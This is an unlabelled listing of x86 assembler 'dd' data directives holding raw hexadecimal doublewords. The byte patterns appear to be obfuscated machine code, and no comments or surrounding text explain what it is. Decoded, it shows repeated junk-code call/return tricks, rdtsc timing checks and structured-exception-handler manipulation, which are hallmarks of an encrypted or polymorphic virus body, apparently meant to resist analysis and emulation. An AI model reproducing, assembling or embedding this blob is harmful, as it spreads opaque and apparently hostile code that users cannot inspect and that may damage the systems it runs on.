		dd 6A006A2Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0A2A6C356h, 7FB5FF5Ah,	810615BDh
		dd 34EB03EFh, 2195FF4Bh, 6A061216h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 8E10C355h
		dd 52505023h, 10E8310Fh, 91000000h, 4AE749DBh, 0CA926073h
		dd 8152DE4Eh, 0F16AB26h, 87h, 585A5F00h, 89243489h, 1221A595h
		dd 7FB5FF06h, 6A0615BDh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 8357C355h, 3D95FFA1h
		dd 6A061203h, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0BF97C353h,	1C0D9589h
		dd 0BD830612h, 61224CDh, 4B840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 84A5C353h, 605656FAh, 505B5F61h, 6A243489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0AE65C350h, 0F448C6EAh, 0B5FFE5B3h, 615BD7Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 19C35545h, 80415F39h
		dd 0AE9h, 48E95400h, 11463201h,	0FF483FFEh, 122AE995h
		dd 5D9D8B06h, 0FF061208h, 15BD7FB5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 85290DA7h
		dd 6122D19h, 52995FFh, 6A0612h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 6E6C5BC3h, 837D6F74h
		dd 121445BDh, 840F0206h, 17h, 8BFBB70Fh, 122A2585h, 2D9D8B06h
		dd 0C6061217h, 2CBF0000h, 0C756AD94h, 12303185h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0D94B22E6h, 0B819074Fh, 0B70F9B7Ah, 0F537BBD8h, 0D7E931E9h
		dd 29FFFFF4h, 120F618Dh, 66C18B06h, 8D4878BBh, 12016985h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0FEC6C01h, 384h,	0F88B6600h, 0FD27BB90h
		dd 51507EA2h, 905F68B7h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 16C35343h, 6ADE8Ah, 6ADA8B66h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 533DE28Ah, 34C78166h, 0E8858D36h, 6A06167Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 833AC355h, 93401FDAh, 8B661823h, 5C083FBh, 2E999D8Bh
		dd 52900612h, 5BFB8B66h, 0CE950h, 0ABBB0000h, 69B57315h
		dd 0F3B6417Dh, 0F9904CE2h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 6A3BC3h, 97D9D89h
		dd 95FF0612h, 61204ADh,	43E38166h, 1A8D8DF9h, 6606159Dh
		dd 0D400D781h, 2B15BD8Bh, 0D1FF0612h, 24D9BD8Bh, 0BE600612h
		dd 610108F5h, 12CD9D0Bh, 83610612h, 121FE9BDh, 850F0106h
		dd 39h,	6AFAB70Fh, 0D840F02h, 0E9000000h, 8, 0EE9953A5h
		dd 9AD1212Dh, 50D98B90h, 88D6BB66h, 6870F90h, 31000000h
		dd 1226018Dh, 2195FF06h, 89061216h, 12313595h, 0E80E906h
		dd 0E80000h, 5D000000h,	7BF2ED81h, 40B70616h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 63C35343h, 0F98B69D4h
		dd 0EE9h, 7834F200h, 15F750F4h,	0A8BC46E7h, 8DE06F61h
		dd 1595CA85h, 0F2B79006h, 0B6CABB50h, 8B9042C0h, 122BD9BDh
		dd 35FF6406h, 0
		dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 82BAC353h, 3107F7B2h
		dd 0F355042h, 28Ah, 3371B300h, 122E659Dh, 6D85FF06h, 6A061213h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E8CAC350h, 6, 157E25EEh,	95898CC8h, 6120865h
		dd 12E8535Bh, 43000000h, 69306B5Fh, 8718DAE2h, 73CAE9B6h
		dd 57A2A5E0h, 9C381B5h,	5B1C3B68h, 0BFFF6A5Fh, 70C6B870h
		dd 2E9B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0B7498BC3h, 95FF7F5Fh, 61235C9h
		dd 137E9h, 398D8900h, 0B0061208h, 70E6FC00h, 19E78166h
		dd 2D8D297Dh, 0E406122Ah, 0AE871h, 288F0000h, 0CC8B7F08h
		dd 510994h, 9DEF8166h, 14E95F2Ch, 45000000h, 237F3031h
		dd 3285D7E4h, 4F1D7A82h, 6B653A7Bh, 3C10BAE6h, 0E9830F61h
		dd 53000000h, 2F19BF66h, 65BD895Fh, 0F061224h, 0BD8BC8B6h
		dd 6122F1Dh, 6BAh, 0CB816600h, 0C18B8901h, 35859D8Bh, 0E8C10612h
		dd 0C59D8904h, 66061211h, 0D381E2F7h, 1781800Ah, 5E59D8Bh
		dd 0C82B0612h, 8B5FF557h, 0D98B66D1h, 11E9h, 5E800h, 0CB030000h
		dd 8B9C9E09h, 1201EDBDh, 858B5F06h, 6120579h, 26B99589h
		dd 0C0830612h, 83D98A07h, 0AEBF00C0h, 3B226D64h, 26830FD0h
		dd 0F000000h, 68Bh, 85BD8B00h, 0E9061211h, 58h,	8C0Fh
		dd 0AE90000h, 0C0000000h, 0E4C098ABh, 82DD2DD2h, 0A18D8B2Bh
		dd 0E9061233h, 6, 8B3D4AD1h, 0E183070Ah, 29840F01h, 81000000h
		dd 5535DFCFh, 0A1A58306h, 0FE061233h, 2DA1BD89h, 95890612h
		dd 6120579h, 5870Fh, 81660000h,	0E91555F3h, 0
		dd 4FDB58Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 9CD966C3h, 95892691h, 6122369h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0DE857BC3h, 0BBD72ADFh, 0DF8BD88Bh, 3890F51h
		dd 80000000h, 0FF5B5FD3h, 12247595h, 0A9BD8906h, 0B9061207h
		dd 76Dh, 8E9h, 4C4B8700h, 9856C18Ah, 0FCE18385h, 30F5BD89h
		dd 8D890612h, 6122FB1h,	53006AFCh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 9589F9A6h, 61220F1h, 0B8h
		dd 45BB5000h, 5F7787F7h, 0BAh, 8830F00h, 0F000000h, 288h
		dd 0AD5B5600h, 0E8D1C233h, 0E983D003h, 29F47504h, 122661B5h
		dd 559D0B06h, 0D061235h, 88h, 8BDFBF0Fh, 12279195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0D8D4C496h, 573E53Bh, 159D8B55h, 8B061203h, 1234398Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 648A0170h, 1115D122h, 88F0F53h, 53000000h
		dd 8C0Fh, 895B0000h, 120F9985h,	0C28B5006h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 449ECF81h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 7FC35747h, 42DBD83h
		dd 0F000612h, 4284h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D8901B5h, 6120EA9h, 0B8h
		dd 0DD9D8B00h, 0F061200h, 8D8DFFBFh, 6125065h, 0DF09D381h
		dd 0E1FF4FF9h, 83DAB70Fh, 122E5DBDh, 840F0006h,	48Bh, 5E9h
		dd 952F8B00h, 0EFBB0710h, 8320006Bh, 122E5DBDh,	840F0106h
		dd 48Ah, 0FD5BD89h, 0BD830612h,	6122E5Dh, 41860F03h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 5FF6C353h, 48B0F24h, 66000000h, 0FC5EFBFh
		dd 6660DFB7h, 0BD8BD98Ch, 6122675h, 5104E180h, 0FBDBD8Bh
		dd 0A5B0612h, 0FA840FC9h, 66000000h, 858BDF8Bh,	6121A89h
		dd 81DABF0Fh, 5ADFC3D3h, 3D853376h, 6A061214h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0C439C355h, 236A52B1h, 7E85061h, 55000000h, 1915695Dh
		dd 5250DE1Eh, 860F310Fh, 0
		dd 895B585Ah, 9D8B2404h, 61233E9h, 6DF602BBh, 29006A05h
		dd 1203E985h, 88AF6806h, 0BE8C34Eh, 18000000h, 7B163B93h
		dd 0E8ACA4D3h, 0EE984E9h, 5000000h, 1CF9EA23h, 235BF286h
		dd 8D1635E0h, 4815BFEh,	0D07B5024h, 0FBB70F3Ch,	325D95FFh
		dd 85890612h, 615BD7Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4C35343h, 0AE2CC30Dh,	9BF69D3h, 0E9283B99h
		dd 26Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	3DC35747h, 0B0BD8FE0h, 0D08154FDh, 77858B6Dh, 660615BDh
		dd 0F4725BBh, 0C7D9B7h,	18h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 28C35141h, 0D915A9D2h, 40D397A1h
		dd 7E951C7h, 0D4000000h, 5C9ADF8Eh, 8B5B0881h, 15BD7BB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 60770C7Fh, 858B5F56h, 6122D49h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6BC35747h, 0DDB2A0C2h
		dd 0E88173A1h, 0Eh, 99E6D8B9h, 0CB925BBh, 0A810F0E9h, 66603775h
		dd 0BD01CA8Bh, 6122125h, 6895B61h, 0E967C780h, 5, 0B2FEDA40h
		dd 89858B5Bh, 0E906121Ah, 5, 4BB70585h,	446891Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 83C35646h, 0BD4BA613h
		dd 0BE914h, 6ADE0000h, 0B0D89347h, 0A4CE838Eh, 52509679h
		dd 0FE9h, 84F9C200h, 0E44508DEh, 4CD568C1h, 0DDD55BECh
		dd 5250310Fh, 0A7F5BB66h, 8B66310Fh, 5A585ADFh,	52505058h
		dd 5E8h, 0C1470800h, 0BB6653E9h, 0F5F449Ah, 96585A31h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 78C35646h
		dd 0E7DE9D80h, 35B18589h, 0B5FF0612h, 615BD77h,	85D38166h
		dd 4E814h, 3FF0000h, 8B66001Fh,	606050DFh, 800Fh, 0E8610000h
		dd 5, 0A2B796B1h, 8B615F81h, 0BB042444h, 0DBE798Fh, 5250008Bh
		dd 310F6160h, 4489585Ah, 67B70424h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C43F2AF7h
		dd 0BCF87AEFh, 858D9B9Ah, 615BD7Fh, 0F79BD8Bh, 66900612h
		dd 0BB50FA8Bh, 0AEFEA7Ch, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0D59D8BC1h
		dd 0FF061215h, 12325D95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 131C54A2h
		dd 89905609h, 121221B5h, 15958906h, 61061212h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F2C35747h, 0F035780h
		dd 388h, 23E38000h, 2F79B589h, 85C70612h, 6122E5Dh, 3
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0AEC35343h
		dd 497369D3h, 0BC20F781h, 0BD83192Fh, 615BD7Fh,	4D840F00h
		dd 8B000000h, 120F6D9Dh, 5DE906h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 660B63C3h
		dd 3D5DDB81h, 14E8h, 0F543E300h, 4CD19BA1h, 3E0811A8h
		dd 66C6C02Ah, 4B03A0F9h, 21B53138h, 5B061203h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0D1E2C352h, 3FEDBA55h, 8B57F321h, 52006AD9h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5532B6EEh
		dd 0BD83F99Dh, 6122E5Dh, 0CD850F03h, 0F000004h,	0B589FAB7h
		dd 61221EDh, 0BD7FBD83h, 0F000615h, 4B784h, 7FB5FF00h
		dd 6A0615BDh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0B38BC357h, 93BABB48h,	12E9DDh
		dd 74D70000h, 0F641BDE6h, 0C9170E1Ah, 0C6D41A14h, 0F8827802h
		dd 13B195FFh, 800F0612h, 0
		dd 0BD73B58Bh, 6A0615h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 48E020C3h, 2EE0165Eh, 81667FC8h
		dd 8BDA4AEBh, 1233E9BDh, 0D9BD8B06h, 0C706121Bh, 1000106h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 83C8E297h, 0B5E5ADA0h, 0EDBD03CBh, 29061226h
		dd 1223D595h, 0BF519606h, 1E17D5B3h, 14E9505Fh,	6E000000h
		dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh, 96E123EAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h
		dd 8B773778h, 1224299Dh, 7FB5FF06h, 6A0615BDh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 2964C357h, 1CB96660h, 95FF610Dh, 61210DDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0AAC35646h, 34119D89h
		dd 0B58B0612h, 615BD73h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 3AC35747h, 0D9B50923h, 8B061220h, 12231185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 9D89A071h, 6120439h, 6800Fh, 9D2B0000h
		dd 61231F5h, 0C48689h, 0B5890000h, 6120A49h, 2791958Bh
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D31788C3h, 36C789C0h, 45BD8B1Ah,	6606120Bh
		dd 0C283F98Bh, 5952904h, 8906121Ah, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 19CA6FC3h
		dd 88B479E5h, 418D891Ah, 8D061232h, 15D32B85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 532CB680h, 0FC1FE676h, 898FCB80h, 12144195h,	0B8868906h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 81AEC350h, 0EDDB816Ah,	66401DAFh
		dd 6A7042BFh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 66605DA5h, 29A354BEh, 122CC5B5h
		dd 0B5FF6106h, 615BD7Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 98C35747h, 0D19D8934h, 0FF061224h, 12162195h
		dd 0FEBF0F06h, 0E3A3BB96h, 56503537h, 8B5CB660h, 965F61C7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9FC35747h
		dd 0B82BFE65h, 1840DE0Ch, 339BD09h, 0B5010612h,	612241Dh
		dd 0BD7FB5FFh, 5E90615h, 4C000000h, 51AD5439h, 33D95FFh
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E9E1BBC3h, 12h, 45480D73h, 241E3F24h, 0C364B19Eh
		dd 8937735h, 0BD83E0E0h, 61224CDh, 2D840F00h, 8B000000h
		dd 1213059Dh, 96509606h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 0B2C35040h, 0E6161C69h, 95DDFEBFh, 0BD7FB5FFh
		dd 9D8B0615h, 61225D9h,	2AE995FFh, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 5CF6ABC3h
		dd 9939BBDDh, 0BD7FB5FFh, 10E90615h, 7E000000h,	768BF9D3h
		dd 8C7435AEh, 77173C64h, 0FF0BA105h, 12052995h,	46DB8106h
		dd 8317302Ch, 121445BDh, 840F0206h, 98h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0EAC35242h, 0BDC521Bh
		dd 0E99D57DAh, 0Ch, 8A4EBED7h, 73C8321Bh, 3A6F5B7Eh, 2A25858Bh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0C6B7C3h,	51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E8E57026h, 0Ah, 12715FE9h
		dd 0DE401C2h, 0CE9F223h, 75000000h, 57718A5Ch, 0CA9E4FFAh
		dd 5F69AE62h, 303185C7h, 612h, 95310000h, 6120565h, 0FFF2BCE9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 2FCA75Ah, 0D69D0886h, 0D5958993h, 8B061232h
		dd 55006AC1h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 9510B373h, 0CD0BA59Bh, 858DDF8Bh, 6120169h
		dd 9D895360h, 61225F1h,	0E7816159h, 2EA944F6h, 0B0526090h
		dd 605158B6h, 50615B61h, 6D8D0990h, 6A06120Fh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0BCDC7DF2h, 23D8B1Eh, 0FEBF0FFDh, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A7459DC3h
		dd 0EAB36D11h, 0F32CC29h, 858DFFBFh, 6168C98h, 0FF88B66h
		dd 0C083FAB7h, 50FE8B05h, 0C860Fh, 7E90000h, 0E6000000h
		dd 3C84E733h, 489AB37h,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 959D01BAh, 6A061214h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0CBBF8EF1h, 6A00A199h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0CCFA82B2h, 161DBD8Bh, 8B660612h, 0AD95FFF9h, 6A061204h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 3199C356h, 8DBEB33Ch, 159D1A8Dh, 0FE806h
		dd 0DBE10000h, 0E21A1279h, 0C0955FADh, 146ACD3Bh, 2EF7812Dh
		dd 5B48186Bh, 890Fh, 0D1FF0000h, 348D9D8Bh, 0BD830612h
		dd 6121FE9h, 0B6850F01h, 0E9000000h, 8,	0B27DA0B3h, 81F9B9D8h
		dd 6A026AFCh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0FD13C352h, 0F0D2085h,	1C88h
		dd 16880F00h, 0E9000000h, 11h, 0F0ACCC43h, 9072C27Dh, 2E00FC6Dh
		dd 0CDD0A128h, 0DE8B5021h, 6A240489h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1967C353h
		dd 97B09758h, 0BFD3A4D8h, 162195FFh, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 9E1DC3C3h
		dd 5660CFC8h, 5BDABF0Fh, 13A9B58Bh, 81610612h, 0C1BEB5F7h
		dd 0CE9E93Bh, 0E80000h,	5D000000h, 8CA2ED81h, 0BEB70616h
		dd 383DDB81h, 8D89669Fh, 6122E71h, 95CA858Dh, 6A0615h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 14FDF0C3h, 24FEF42Eh, 0D9B58960h, 61061224h,	6860Fh
		dd 0E7810000h, 377F0B40h, 0E810F90h, 0E9000000h, 9, 7C96F406h
		dd 740082B0h, 8B605069h, 6A9061C1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A7CDC350h
		dd 335250A9h, 66919613h, 64D4A8BBh, 35FFh, 81660000h, 64FB89F3h
		dd 2589h, 0EF800000h, 6D85FF5Ah, 0E8061213h, 12h, 66581237h
		dd 947002Bh, 0F66EDE32h, 3C699259h, 0DE9F62Ah, 4A000000h
		dd 3B0DEC7Eh, 0FC2648D8h, 9D773F93h, 1D8D895Fh,	6A06122Ah
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 94D0B25h, 0DF60D6D8h, 2352403Ch
		dd 12126DBDh, 0B5FF5F06h, 61205EDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 72C35545h, 66B38189h, 0F4957BFh
		dd 68Ah, 0C5B53100h, 0FF061234h, 1235C995h, 117E906h, 0BD8B0000h
		dd 6120AFDh, 0C78000B0h, 8B70E6ACh, 122B6DBDh, 91958906h
		dd 0E406120Ah, 14E971h,	906B0000h, 2F5DEBCCh, 29EC5AF7h
		dd 7F2AB72Eh, 3105877Dh, 613CC8F0h, 0DB830Fh, 9D8B0000h
		dd 6122719h, 66C8B60Fh,	0BA98DB81h, 6BAh, 0FE8B6600h, 0B589C18Bh
		dd 61221ADh, 8B04E8C1h,	122AF99Dh, 0E2F76606h, 0C99D29h
		dd 830F0612h, 6, 19699D01h, 0C82B0612h,	3870Fh,	0E7800000h
		dd 0FD18B93h, 6E9F9BFh,	89000000h, 1209B9BDh, 0F1858B06h
		dd 0F06121Bh, 0C083FAB7h, 2DEB8007h, 8900C083h,	122E39B5h
		dd 0FD03B06h, 1183h, 98D8900h, 0E906120Ch, 59h,	1BE9B509h
		dd 8D8B0612h, 612145Dh,	0DE8h, 7EAB8E00h, 0BF42E643h, 0ED778FBAh
		dd 605FD5BAh, 88EFB866h, 21098D23h, 83610612h, 840F01E1h
		dd 25h,	731BB66h, 8342E780h, 12145DA5h,	2BB3FE06h, 1BF19589h
		dd 0B9BF0612h, 0BF24A1A1h, 0D204E9Eh, 0E9h, 44B58D00h
		dd 6606160Eh, 89835BBBh, 1234C9B5h, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 6182C356h, 661343C1h, 66D98B66h, 95FFDE8Bh, 6122475h
		dd 58F0F60h, 66000000h,	7FCDE381h, 11F5958Bh, 0B9610612h
		dd 764h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	73C35343h, 82996FD0h, 85894F8Fh, 612277Dh, 6AFCE183h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 28C5C357h, 67BBFC9Eh, 0B84D2387h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0FAC35747h
		dd 0F0735D3h, 87h, 6AD22B00h, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 1143C351h, 78206AD1h
		dd 2604CB50h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 2AED9D8Bh
		dd 0BDBF0612h, 0D0D2C1Dh, 88h, 0EFE38166h, 91958B97h, 8B061227h
		dd 1234398Dh, 9D8BFC06h, 6120469h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 9BD8B4C3h, 0A647475Eh
		dd 0F7816677h, 0BD831EF2h, 612042Dh, 7B840F00h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0AB2AC355h, 85897BFAh, 6121BE9h, 6870Fh
		dd 0F3810000h, 50DCBB17h, 0B8h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B5899094h
		dd 61204A9h, 25098589h,	8D8D0612h, 6125065h, 9E9h, 16AAEF00h
		dd 0DA7CE054h, 0E1FF47F2h, 451BD89h, 0BD830612h, 6122E5Dh
		dd 0A7840F00h, 89000003h, 122BF195h, 5DBD8306h,	106122Eh
		dd 3AF840Fh, 0C3800000h, 5DBD8340h, 306122Eh, 369860Fh
		dd 60FC0000h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ch,	0E1C35343h, 8BA33EB3h, 131D3680h, 0EE9h, 0B4996900h
		dd 0BB186E68h, 1888726Ah, 66C5A6C5h, 0BB66D98Ch, 0E1808907h
		dd 0E830F04h, 60000000h, 2F59509h, 8D0F0612h, 0
		dd 0FC90A61h, 11284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0FFB70F49h, 1A89858Bh
		dd 51B70612h, 143D8533h, 0B70F0612h, 0BF6650FEh, 4894701h
		dd 9E924h, 0B8300000h, 2739115Bh, 6A4C1124h, 0EB815200h
		dd 39E3D736h, 4E85Fh, 3FF0000h,	1BF001Fh, 506E8BB7h, 34A8BB66h
		dd 424448Bh, 13E8h, 3077DC00h, 4ADDE585h, 57E34351h, 0F00CEA6Ch
		dd 0C306BD1Dh, 10E95250h, 35000000h, 947E429Fh,	611AEB23h
		dd 0EFF54929h, 0F5FFFE5h, 5F585A31h, 4489008Bh,	8B660424h
		dd 6A58F8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 896027C3h, 1213A1B5h, 0E8816606h,	0FF616CF8h
		dd 12325D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 899B722Fh, 15BD7F85h, 0BE906h, 0B8160000h
		dd 50D833D1h, 5FFE31EBh, 159E9BCh, 0FBBF0000h, 8B37F925h
		dd 15BD7785h, 23D78106h, 0C7713B30h, 1800h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8B1E4034h, 15BD7BB5h, 49858B06h, 0F06122Dh, 682h, 51858900h
		dd 89061223h, 89858B06h, 8906121Ah, 12252595h, 4468906h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 57C35040h
		dd 4A1307F9h, 5067A6B7h, 0D88B6650h, 0FF243489h, 15BD77B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 31B021EAh, 8166FFB5h, 8BB775EFh,	121C5DBDh
		dd 1B876806h, 3481145Ah, 45187824h, 1DBD0B14h, 8D06120Ah
		dd 15BD7F85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0C7F511DFh, 6D94D052h, 53906EB8h
		dd 890F5250h, 0
		dd 0FE9310Fh, 0C000000h, 0CD759E00h, 5C390474h,	0BBAE246Eh
		dd 585ABC90h, 5250505Bh, 310FDE8Ah, 0F525052h, 5B585A31h
		dd 6A90585Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 4512C350h, 0FFF245A6h,	12325D95h
		dd 0D59D8906h, 61061226h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0E2C35545h, 75BB6662h, 5D85C739h, 306122Eh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0A484C351h, 0BD7FBD83h, 0F000615h
		dd 4E84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8ABB4B67h, 0E9785566h, 42h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D5C35646h, 402EA8A3h
		dd 77B9BE48h, 5068B3E7h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
